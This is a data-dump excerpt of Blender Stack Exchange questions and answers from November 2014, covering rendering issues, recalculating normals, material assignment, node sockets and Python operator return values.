  <row Id="18864" PostTypeId="1" CreationDate="2014-11-14T23:26:11.377" Score="1" ViewCount="83" Body="&lt;p&gt;As per the picture, the fire/smoke is not showing up with the blender internal renderer. Is this a common issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any obligatory steps to make it show like it does in the preview?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uf5oF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8000" LastEditorUserId="2217" LastEditDate="2014-11-14T23:37:05.153" LastActivityDate="2014-11-14T23:37:05.153" Title="Why is my smoke simulation not showing up with the default renderer?" Tags="&lt;materials&gt;&lt;blender-internal-render-engine&gt;&lt;smoke-simulation&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2015-06-20T21:42:29.177" ContentLicense="CC BY-SA 3.0" />
  <row Id="18865" PostTypeId="2" ParentId="18775" CreationDate="2014-11-15T00:37:05.047" Score="1" Body="&lt;p&gt;It finally worked! I was trying to recalculate normals of the base but I was not recalculating for the tracks which were being duplicated. So the steps are the same for all objects and related objects to the curve&lt;/p&gt;&#xA;&#xA;&lt;p&gt;View 3D &gt; Edit Mode &gt; Toolbar &gt; Shading/UVs &gt; Recalculate Normals&lt;/p&gt;&#xA;" OwnerUserId="7591" LastActivityDate="2014-11-15T00:37:05.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18867" PostTypeId="2" ParentId="18854" CreationDate="2014-11-15T03:04:25.443" Score="5" Body="&lt;p&gt;I'd say it depends on what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For something like photo-manipulation (by that I mean color grading, adding effects like vignetting, etc.), the compositor can work very well (and non-destructively). After all, it's almost what the compositor was designed for. The only major difference is that the images were rendered with a camera, not Cycles or some other render engine.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;However for creating images from scratch with 2D techniques like painting, blender is &lt;s&gt;probably&lt;/s&gt; almost certainly not the best around. And using blender's image editor it won't be non-destructive (though for something like this I'm not sure if a non-destructive workflow makes a lot of sense?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Painting is not my strong suit, but there have been some &lt;a href=&quot;http://youtu.be/GywocY-Gyyw&quot; rel=&quot;noreferrer&quot;&gt;pretty&lt;/a&gt; &lt;a href=&quot;http://youtu.be/xhfL5jmxiAk&quot; rel=&quot;noreferrer&quot;&gt;amazing&lt;/a&gt; &lt;a href=&quot;http://youtu.be/ul4_mtsbg1g&quot; rel=&quot;noreferrer&quot;&gt;things&lt;/a&gt; done with blender's painting tools. Also note that blender's painting tools recently got &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.72/Painting&quot; rel=&quot;noreferrer&quot;&gt;a nice upgrade&lt;/a&gt; as part of the GSoC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if painting is what you are looking for, you might be better off with a program designed for painting, like &lt;a href=&quot;https://krita.org/&quot; rel=&quot;noreferrer&quot;&gt;Krita&lt;/a&gt; or &lt;a href=&quot;http://mypaint.intilinux.com/&quot; rel=&quot;noreferrer&quot;&gt;MyPaint&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-11-15T03:04:25.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18868" PostTypeId="1" AcceptedAnswerId="18869" CreationDate="2014-11-15T03:32:36.740" Score="1" ViewCount="774" Body="&lt;p&gt;I'm learning the basics of Cycles and I created a simple cup with a material with a Glossy BSDF shader. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scene is enclosed by 6 planes and I tried illuminating with a point lamp and then with a light emitting plane, but the shadows remain. Below you can see the render and the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rendering settings are the default ones except for the number of samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xfywy.png&quot; alt=&quot;cup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After examining the mesh closer I realized the problem might be there, the subdivision surface tends to keep the slope of the straight edges of the original mesh. The first picture below shows the render and the mesh (after applying the subsurf) from the same point of view. The second one shows the original mesh, which was made with the spin tool. I tried beveling but the problem persisted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7HdEr.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TxcST.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blend is here: &lt;a href=&quot;http://s000.tinyupload.com/?file_id=25167591626001162388&quot; rel=&quot;nofollow noreferrer&quot;&gt;file.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7592" LastEditorUserId="599" LastEditDate="2014-11-16T01:12:17.560" LastActivityDate="2014-11-16T01:12:17.560" Title="How do I get rid of the unexpected shadows that appear inside the holes of objects using Glossy BSDF?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18869" PostTypeId="2" ParentId="18868" CreationDate="2014-11-15T04:06:04.403" Score="3" Body="&lt;p&gt;You need to increase the number of glossy bounces in &lt;em&gt;render settings &gt; Light paths&lt;/em&gt;. These &quot;black surfaces&quot; are caused by rays which enter the cup and then bounce back and forth between the sides until they hit the limit of bounces they are allowed to do, and then return nothing (as defined by the &lt;em&gt;max bounces&lt;/em&gt; and &lt;em&gt;glossy bounces&lt;/em&gt; values).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By increasing the number of allowed bounces, the rays get more of a chance of gradually working their way over to a spot where they can bounce around to someplace else. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With only 4 glossy bounces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oBP3b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a lot more:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SS26B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another things that can help is adding a bit of scattering (roughness) to make  paths more random and less likely for rays to get trapped going back and forth for large numbers of bounces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OW5Ro.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that in some ways this is realistic, as this kind of thing happens in the real world too. In the real world, there is an infinite number of bounces, but light &lt;em&gt;does&lt;/em&gt; diminish in intensity at each bounce. So eventually light bouncing around would be absorbed completely, and the &lt;a href=&quot;http://en.wikipedia.org/wiki/Black_body&quot; rel=&quot;nofollow noreferrer&quot;&gt;surface would appear black&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-11-15T04:29:56.533" LastActivityDate="2014-11-15T04:29:56.533" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18870" PostTypeId="1" AcceptedAnswerId="18876" CreationDate="2014-11-15T05:38:15.980" Score="5" ViewCount="3128" Body="&lt;p&gt;As I understand, the normalize setting should convert a vector into a unit vector. However, I am confused as two what the second vector input does in this operation. Normalizing should only require one vector input right?&lt;/p&gt;&#xA;" OwnerUserId="7704" LastActivityDate="2014-11-15T14:47:18.807" Title="How does the Vector Math Normalize node work?" Tags="&lt;nodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18873" PostTypeId="1" CreationDate="2014-11-15T10:29:37.613" Score="0" ViewCount="107" Body="&lt;p&gt;I am a beginner and I am trying to construct a Möbius loop by using a bezier curve and then extruding, or whatever, with a circle. Can someone help me to achieve this in a step-by-step manner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wzZDS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are many ways to approach this and I wish to know as many of them as possible. I almost achieved it with the screw modifier but the two halves didn't fit together perfectly.&lt;/p&gt;&#xA;" OwnerUserId="2025" LastEditorUserId="599" LastEditDate="2014-11-17T07:11:45.677" LastActivityDate="2014-11-17T07:11:45.677" Title="How to construct a Möbius loop using bezier curves" Tags="&lt;modeling&gt;&lt;workflow&gt;&lt;bezier-curves&gt;" AnswerCount="0" CommentCount="10" ClosedDate="2014-11-15T17:08:27.697" ContentLicense="CC BY-SA 3.0" />
  <row Id="18874" PostTypeId="1" AcceptedAnswerId="18878" CreationDate="2014-11-15T10:33:23.980" Score="3" ViewCount="1993" Body="&lt;p&gt;When calling an &lt;strong&gt;operator&lt;/strong&gt; like &lt;code&gt;wm.link&lt;/code&gt;, is there a way to get the &lt;strong&gt;user input&lt;/strong&gt; like selected &lt;em&gt;directory&lt;/em&gt;, &lt;em&gt;filepath&lt;/em&gt; or &lt;em&gt;object name&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a simple code example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class appendObjectsPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Replace Object&quot;&#xA;    bl_idname = &quot;OBJECT_PT_append&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;object&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        obj = context.object&#xA;&#xA;        row = layout.row()&#xA;        property = row.operator(&quot;wm.link&quot;)&#xA;        property.relative_path=True&#xA;        property.autoselect=True&#xA;        property.active_layer=True&#xA;        property.instance_groups=True        &#xA;&#xA;# ------------------------------------------------------------------------&#xA;# register and unregister functions&#xA;# ------------------------------------------------------------------------&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(appendObjectsPanel)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(appendObjectsPanel)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2016-01-15T11:05:43.983" LastActivityDate="2020-12-14T13:15:47.470" Title="Return values of operators" Tags="&lt;python&gt;&lt;properties&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18875" PostTypeId="1" CreationDate="2014-11-15T11:54:51.757" Score="0" ViewCount="629" Body="&lt;p&gt;I am using sapling addon to create a tree. A tutorial says that the sapling addon is meant to map the leaves perfectly, once you add a texture. However, it isn't doing this when I try. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, the leaves just come up colourful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/32879&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/32879&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5420" LastEditorUserId="20" LastEditDate="2014-11-15T16:37:21.583" LastActivityDate="2014-11-15T16:37:21.583" Title="Leaf texture is not mapping correctly onto leaves?" Tags="&lt;texturing&gt;&lt;add-on&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18876" PostTypeId="2" ParentId="18870" CreationDate="2014-11-15T11:57:26.673" Score="4" Body="&lt;p&gt;For the &lt;code&gt;normalize option&lt;/code&gt; the node will only normalize &lt;strong&gt;the first input&lt;/strong&gt; vector (set the length to 1). You are right, a &lt;strong&gt;second vector isn't needed&lt;/strong&gt; for this operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This example shows how it can be used to multiply a vector by a scalar:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UoWer.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2014-11-15T14:47:18.807" LastActivityDate="2014-11-15T14:47:18.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18878" PostTypeId="2" ParentId="18874" CreationDate="2014-11-15T13:21:16.063" Score="4" Body="&lt;p&gt;Quoting from the &lt;a href=&quot;http://www.blender.org/api/current/bpy.ops.html#operators-bpy-ops&quot; rel=&quot;nofollow noreferrer&quot;&gt;API documentation&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Operators don’t have return values as you might expect, instead they return a set() which is made up of: {‘RUNNING_MODAL’, ‘CANCELLED’, ‘FINISHED’, ‘PASS_THROUGH’}. Common return values are {‘FINISHED’} and {‘CANCELLED’}.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You might get the arguments passed to a &lt;strong&gt;registered&lt;/strong&gt; operator like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.active_operator.properties['keyword']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.window_manager.operators[-1].properties['keyword']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For more information about linking see also &lt;a href=&quot;http://www.blender.org/api/current/bpy.types.BlendDataLibraries.html#module-bpy.types&quot; rel=&quot;nofollow noreferrer&quot;&gt;BlendDataLibraries&lt;/a&gt; and &lt;a href=&quot;http://www.blender.org/api/current/bpy.types.Library.html#module-bpy.types&quot; rel=&quot;nofollow noreferrer&quot;&gt;Library&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="31447" LastEditDate="2020-12-14T13:15:47.470" LastActivityDate="2020-12-14T13:15:47.470" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18880" PostTypeId="1" AcceptedAnswerId="18896" CreationDate="2014-11-15T15:38:09.480" Score="3" ViewCount="569" Body="&lt;p&gt;Okay so heres the description of what i want i have created a logo in gimp exported its as scalable vector (svg) imported it to blender increaed the extrusion and bevel, and want it to have that look when metal is near ponit of melting but at the other end it shall already be cooleddown. heres a link to what Incandescence is from wikipedia &lt;a href=&quot;http://en.wikipedia.org/wiki/Incandescence&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Incandescence&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="5980" LastEditDate="2014-11-15T16:48:38.647" LastActivityDate="2014-11-15T19:00:35.880" Title="How to achieve Incandescence with Cycles materials" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;light&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18882" PostTypeId="1" CreationDate="2014-11-15T16:04:31.997" Score="3" ViewCount="669" Body="&lt;p&gt;Ever played &lt;a href=&quot;http://en.wikipedia.org/wiki/Myst_IV:_Revelation&quot; rel=&quot;nofollow&quot;&gt;Myst IV&lt;/a&gt;? Most of the game visuals are pre-rendered and you move in a discrete fashion. However, you have the ability to turn the camera 360ºH and 180ºV with your mouse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to accomplish that inside Blender Game using still images renderer in Blender Cycles. What's the most direct, no frills workflow to achieve such thing?&lt;/p&gt;&#xA;" OwnerUserId="8007" LastActivityDate="2014-12-15T23:06:19.157" Title="Full spherical view inside Blender Game from Pre-Rendered images" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18883" PostTypeId="2" ParentId="18863" CreationDate="2014-11-15T16:15:32.197" Score="1" Body="&lt;p&gt;Ensuring that blender is set to &quot;Blender Game&quot; mode, ensure that the &quot;record animation&quot; check box is ticked in the Game menu.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bhEoB.png&quot; alt=&quot;How to record game animation to F-Curves&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then hit &lt;kbd&gt;&#xA;P&lt;/kbd&gt; to start running the game (it'll probably run slower than normal). After the length of the animation you want to record has been recorded, press &lt;kbd&gt;Esc&lt;/kbd&gt; to exit playing the game. Press left/right on your keyboard, and you'll notice a key frame has been added to each object for every frame of the animation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mLgoi.png&quot; alt=&quot;A key frame is generated on every frame for each object&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Also notice that if you play the animation using &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; now, the physics will run as it does in the game engine as the position data has been applied to the objects using key frames).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to delete part of this animation or shift all of the physics animation in time, enter the dope sheet window like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ymCgn.png&quot; alt=&quot;How to enter the dope sheet to edit animation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can select key frames by pressing &lt;kbd&gt;B&lt;/kbd&gt; and drawing a box around the key frames you want to select. When doing so, ensure that you select the key frames of the object that you want to edit the animation of, and not X,Y,Z location and rotation as that will distort the physics simulation. You can ensure you are not doing so by clicking on the arrows so that these options are not visible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lVxsK.png&quot; alt=&quot;How to ensure only the root transform of the object is being edited&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you have selected the key frames of the object you want to edit, you can increase/decrease the speed of the animation using the &lt;kbd&gt;S&lt;/kbd&gt; key and make the animation of that object occur later/earlier in time using the &lt;kbd&gt;G&lt;/kbd&gt; key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MOKTH.png&quot; alt=&quot;Scaling the animation of the &amp;quot;Moving Object&amp;quot; object, making the animation slower&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also delete parts of the animation by box selecting the key frames you want to delete from the animation as outlined above, and pressing the &lt;kbd&gt;Del&lt;/kbd&gt; key:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gm77M.png&quot; alt=&quot;Deleting key frames&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will mean that the key frames of the object's animation you have deleted will not run (essentially cropping the start and end of the physics simulation if that is desired)&lt;/p&gt;&#xA;" OwnerUserId="1405" LastActivityDate="2014-11-15T16:15:32.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18884" PostTypeId="1" AcceptedAnswerId="18898" CreationDate="2014-11-15T16:42:30.640" Score="6" ViewCount="9367" Body="&lt;p&gt;In solid mode with Material or Texture, it is shown fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aJhxV.png&quot; alt=&quot;(Shown here)&quot;&gt;&#xA;But in the Render mode, everything is pitch black. I have a sun, and the Opacity of the scene is set to 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bU51K.png&quot; alt=&quot;Shown here)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to using Blender, so I have no idea what is wrong.&#xA;If you could help, I would appreciate it.&#xA;If you need more information to help me, I would be glad to give it.&lt;/p&gt;&#xA;" OwnerDisplayName="user7831" LastEditorDisplayName="user1853" LastEditDate="2015-07-31T11:52:52.310" LastActivityDate="2016-07-12T04:51:45.787" Title="Cycles final render pitch black?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;light&gt;&lt;scene&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18885" PostTypeId="2" ParentId="18858" CreationDate="2014-11-15T16:42:39.973" Score="2" Body="&lt;p&gt;Yep. This is a bug with the Armature system and may be worth reporting. I think the issue is that it doesn't know which side of the bone is supposed to face the pole target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you rotate the IK bone &lt;strong&gt;after&lt;/strong&gt; moving the target bone, the IK bone will snap to position, and work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Rotate&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/piGns.png&quot; alt=&quot;move target bone&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Snap&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O1gzD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2014-11-15T17:22:51.667" LastActivityDate="2014-11-15T17:22:51.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18886" PostTypeId="1" CreationDate="2014-11-15T16:58:25.563" Score="12" ViewCount="76422" Body="&lt;p&gt;in version of Blender 2.72, where is the option recalculate?.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like in this video &lt;a href=&quot;https://www.youtube.com/watch?v=IZPqxADetWE&amp;amp;feature=player_detailpage#t=108&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=IZPqxADetWE&amp;amp;feature=player_detailpage#t=108&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/fYREW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fYREW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8010" LastEditorUserId="51137" LastEditDate="2020-04-19T09:20:48.810" LastActivityDate="2020-04-19T09:20:48.810" Title="How to recalculate normals?" Tags="&lt;normals&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18887" PostTypeId="2" ParentId="18886" CreationDate="2014-11-15T17:08:07.710" Score="15" Body="&lt;p&gt;'Toolbar tabs' were implemented in 2.70. You can recalculate the normals from the 'Shading/UVs' tab of the tool shelf (revealed with &lt;kbd&gt;T&lt;/kbd&gt;), or you can do it by a short cut by &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8UoWs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="3116" LastEditDate="2019-03-01T04:49:51.940" LastActivityDate="2019-03-01T04:49:51.940" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18888" PostTypeId="1" CreationDate="2014-11-15T17:32:05.300" Score="3" ViewCount="385" Body="&lt;p&gt;I have tried a lot of different ways to cover the Roof of my cube with a material, but every time I tried, blender covers the whole cube with the painting color. How can I simply coloring just parts of a cube?&lt;/p&gt;&#xA;" OwnerUserId="8013" LastEditorUserId="2217" LastEditDate="2014-11-15T17:37:42.863" LastActivityDate="2014-11-15T18:10:27.967" Title="Why does blender cover the whole cube and not selected areas with materials?" Tags="&lt;materials&gt;" AnswerCount="2" CommentCount="0" ClosedDate="2014-11-16T13:58:55.600" ContentLicense="CC BY-SA 3.0" />
  <row Id="18889" PostTypeId="2" ParentId="18888" CreationDate="2014-11-15T18:01:16.367" Score="4" Body="&lt;p&gt;To add a material to a specifc face (you can only assign &lt;em&gt;and&lt;/em&gt; see material colors to faces), you first need to add a base material to your object, next enter &lt;em&gt;Edit&lt;/em&gt; mode, select the face and then add a new material slot and create a new material or pick an already created one from the list and press &lt;em&gt;Assign&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kafdm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-11-15T18:01:16.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18890" PostTypeId="1" AcceptedAnswerId="18893" CreationDate="2014-11-15T18:05:19.413" Score="9" ViewCount="7930" Body="&lt;p&gt;Is there a way to add a socket of a specific type to group nodes? Currently, it seems that they default to grey scalar sockets, and I don't see any way to change their type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vbWPk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-11-15T18:34:42.267" Title="Setting Group Node Socket Type" Tags="&lt;nodes&gt;&lt;node-editor&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18891" PostTypeId="2" ParentId="18888" CreationDate="2014-11-15T18:10:27.967" Score="3" Body="&lt;p&gt;Select the desired faces and assign the material using 'assign' button in &lt;em&gt;material panel&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rDOIW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2014-11-15T18:10:27.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18892" PostTypeId="2" ParentId="18853" CreationDate="2014-11-15T18:27:08.520" Score="3" Body="&lt;p&gt;&lt;strong&gt;In terms of quality&lt;/strong&gt; I suggest you to model in quads. The simplest reason is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The flexibility to soften and sharpen edges is key to build high quality&#xA;  models.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ff2Jc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Example geometry with a soft edge on the left side and more sharp edge on the right&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to achieve this, is to build &lt;em&gt;consistent topology to be fast in selecting&lt;/em&gt;  &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;RMB&lt;/kbd&gt; &lt;em&gt;and creating edge loops&lt;/em&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;, which depends on quads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tltgo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Create edge loop issue&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the picture of your question, I assume that automatic algorithms &lt;em&gt;(e.g. bevel modifiers)&lt;/em&gt; have been applied to improve the edges. A side effect of such algorithms is that unwanted edges appear (triangles at the corners), but I can't really see if there is a reason for this. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For sure there are exceptions to use triangles.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In terms of speed&lt;/strong&gt; artists often use modifiers on simple geometry to build complex shapes - side effect can be a geometry of triangles. For the crumpled paper I could also imagine that here some kind of modifier on a icosphere was used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it really depends on what do you want to achieve.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2014-11-16T14:17:17.807" LastActivityDate="2014-11-16T14:17:17.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18893" PostTypeId="2" ParentId="18890" CreationDate="2014-11-15T18:34:42.267" Score="12" Body="&lt;p&gt;You need to connect the temporary socket (red) to the values you want to make available from outside the group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MFWxP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When tab out of the group you will have all of them available for wiring with the correct type (indicated bei their color).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Anzg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can't edit them later you would need to recreate the group.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-11-15T18:34:42.267" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
